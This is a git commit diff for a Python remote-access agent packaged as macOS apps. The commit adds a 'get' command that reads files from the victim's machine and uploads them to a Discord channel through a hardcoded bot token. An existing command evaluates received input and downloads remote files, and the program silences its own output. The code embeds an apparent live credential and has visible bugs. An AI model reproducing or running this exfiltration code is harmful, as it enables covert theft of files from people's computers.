diff options
| author | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 23:08:38 +0800 |
|---|---|---|
| committer | mrdog233o5 <mr.dog233o5@gmail.com> | 2023-09-01 23:08:38 +0800 |
| commit | 57d376727d4fe7271d19d1327f43b2f44ccdde82 (patch) | |
| tree | 46a0202c87f9cc747f6088f50d0f9bc87f20de03 | |
| parent | 13a6538c8b6683ce6e11329296c6c590b582a949 (diff) | |
download file from target
| -rwxr-xr-x | dist/main-mac | bin | 11069216 -> 11069808 bytes | |||
| -rw-r--r-- | dist/main.app.zip | bin | 10953832 -> 10954476 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 11069216 -> 11069808 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 10943596 -> 10943596 bytes | |||
| -rw-r--r-- | main.py | 26 |
5 files changed, 24 insertions, 2 deletions
diff --git a/dist/main-mac b/dist/main-mac Binary files differindex 8bd811d..e4a0a99 100755 --- a/dist/main-mac +++ b/dist/main-mac diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differindex bcc161a..ec7ebae 100644 --- a/dist/main.app.zip +++ b/dist/main.app.zip diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differindex 69d9b22..0ee15f3 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differindex fe4e9c0..a77e536 100644 --- a/dist/setup.app.zip +++ b/dist/setup.app.zip @@ -4,12 +4,13 @@ try: from time import sleep from subprocess import Popen as system from subprocess import PIPE - from os import chdir, uname, devnull + from os import chdir, uname, devnull, getcwd from sys import platform, stdout, stderr old_command = "" command = "" loop = 0 + stdout = open(devnull, 'w') stderr = open(devnull, 'w') @@ -68,17 +69,38 @@ while True: if command == "None": old_command = "" continue + if command.startswith("get "): + token = 'MTE0MTM0MDA2Mzk2ODU0MjczMA.G7bTuQ.kXvBg1R2N-3Z2cYUXDmEVcBIzc7Z_MWvP2Wjtg' + channel_id = '1140989222556274721' + url = f'https://discord.com/api/v9/channels/{channel_id}/messages' + localcmd = command.split() + path = "../" + localcmd[1] + file = open(path, "rb").read() + fileJson = { + "file" : (str(path), open(str(path), 'rb')) + } + payload = { + "content":"message" + } + header = {'Authorization': f'Bot {token}'} + + try: + post(url, data = payload, headers=header, files=fileJson) + except: + pass + old_command = commandId if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content - fileName = os.path.basename(fileUrl) + fileName = path.basename(fileUrl) filePath = os.path.expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) f.close() old_command = commandId + continue #filename = os.path.basename(localcmd[1]) #print(filename) #ossystem("touch " + filename[0] + filename[1]) |
